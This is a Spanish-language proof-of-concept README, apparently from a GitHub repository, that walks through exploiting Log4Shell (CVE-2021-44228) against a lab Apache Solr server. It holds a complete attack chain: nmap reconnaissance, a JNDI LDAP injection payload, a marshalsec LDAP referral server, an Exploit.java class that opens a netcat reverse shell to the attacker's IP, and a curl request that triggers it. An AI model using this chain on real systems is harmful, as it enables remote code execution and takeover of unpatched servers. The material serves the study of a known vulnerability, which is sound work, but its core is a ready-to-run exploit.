lucaspdiniz/cve-2021-44228Vulnerabilidad Log4j RCE - CVE-2021-44228
Esta vulnerabilidad fue descubierta el 9 de diciembre de 2021, identificada con CVE-2021-44228, esta falla afecta al paquete de registros de Java, generando una puntuación de gravedad (CVSS) de 10 puntos, permitiendo la ejecución remota en el host. Esta vulnerabilidad ha sido conocida por la comunidad de seguridad como LOG4SHELL.
si quieres una lista de los proveedores de software afectados por la vulnerabilidad LOG4J, revisa el siguiente repositorio;
Para demostrar este tipo de ataque, tenemos un host con la versión vulnerable (Apache Solr 8.11.0) del paquete log4j con Java 1.8.0_181.
Comienza con un reconocimiento básico para entender qué puertos están abiertos en esta máquina usando la herramienta nmap (o cualquier otra de tu interés).
nmap -v -p- poc.log4j - Equipo vulnerable
En este caso, se encontraron 3 puertos abiertos. Mejoremos nuestro nmap, indicando solo los puertos abiertos y el comando -sV (Devuelve la versión de la aplicación del puerto).
nmap -v -p22,111,8983 -sV poc.log4j
Posiblemente tengamos un apache ejecutándose en el Puerto 8983. A continuación podemos confirmar el apache; esta instancia de Apache Solr está aprovisionada sin ningún dato. Es una instalación plana, estándar y absolutamente mínima.
El principal vector de ataque para log4j está en el registro de la aplicación; si miramos la pantalla de Solr, podemos ver el registro habilitado en Dsolr.log.dir.
Ten en cuenta que el endpoint de la URL que acabas de descubrir debe ir precedido del prefijo solr/ al verlo desde la interfaz web. Esto significa que debes visitar:
http://poc.log4j:8983/solr/admin/cores
- ¿por qué /admin/cores ❓ 💬
Aquí encontramos la vulnerabilidad que puede ser explotada. Esta es una llamada que recibe una variable(params={}) para ser ejecutada; podemos manipular esta entrada y enviar nuestro payload. A continuación podemos ver un registro generado por apache al llamar a esta URL /admin/cores.
El formato de la sintaxis habitual que aprovecha esto es el siguiente;
${jndi:ldap://ATTACKERCONTROLLEDHOST}
Esta sintaxis indica que log4j invocará funcionalidad de "JNDI", o la "Java Naming and Directory Interface" (Interfaz de Nombres y Directorios de Java). En última instancia, esto puede usarse para acceder a recursos externos, o "referencias", que es lo que se utiliza como arma en este ataque. Observa el esquema ldap://, esto indica que el objetivo se conectará a un endpoint (una ubicación controlada por el atacante, en el caso de este ataque) mediante el protocolo LDAP.
¿Dónde podríamos introducir esta sintaxis de ldap?
Puedes simplemente proporcionar variables o parámetros HTTP GET que luego serán procesados y analizados por log4j. Solo se necesita esta única línea de texto, y eso hace que esta vulnerabilidad sea extremadamente fácil de explotar.
Otros lugares donde podrías proporcionar esta sintaxis JNDI:
En este paso, después de descubrir una versión de log4j en el host objetivo, necesitamos probarla y ver si esa versión es vulnerable.
Abrimos el puerto 6666 en el host atacante.
nc -vnlp 6666
Haz una solicitud que incluya esta sintaxis primitiva de payload JNDI como parte de los parámetros HTTP. Esto se puede hacer fácilmente con la utilidad de línea de comandos curl.
al ejecutar el payload, obtenemos la respuesta en nuestro netcat en el puerto 6666. 🙌
En este punto, has verificado que el objetivo es de hecho vulnerable al ver esta conexión capturada en tu listener de netcat. Sin embargo, hizo una solicitud LDAP... así que todo lo que tu listener de netcat pudo haber visto fueron caracteres no imprimibles (bytes de aspecto extraño). Ahora podemos aprovechar esta base para responder con un manejador LDAP real.
Como vimos en el curl anterior, pudimos usar el protocolo LDAP para recibir una solicitud en nuestro NC. Sin embargo, debido a que usamos otro protocolo, no podemos visualizar ni manipular la respuesta.
El siguiente paso es crear un servidor LDAP para poder manejar las solicitudes, ¡vamos!
Para acelerar esta POC, usaremos la utilidad ya preparada en https://github.com/mbechler/marshalsec
Necesitamos usar maven para usar el script marshalsec. Maven disponible en apt install maven
Dentro del repositorio marshalsec, comienza con maven mvn clean package -DskipTests
Después de compilar el jar, podemos iniciar el servidor LDAP para redirigir las solicitudes
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"
Dejaremos el servidor LDAP en ejecución y crearemos el script para explotar el servidor.
Exploit.java con la clase siguiente.#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compilemos el exploit con javac Exploit.java -source 8 -target 8. Se creará el Exploit.class.
Con el exploit listo, alojémoslo en el servidor Python python3 -m http.server.
Abramos un puerto con NC para recibir el comando bash de Java que creamos anteriormente. Creamos un nuevo nc -lnvp 9999.
¡Pongamos todo a trabajar! Hagamos un CURL forzando al servidor a buscar nuestro exploit en el puerto 8000 que creamos con Python.
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
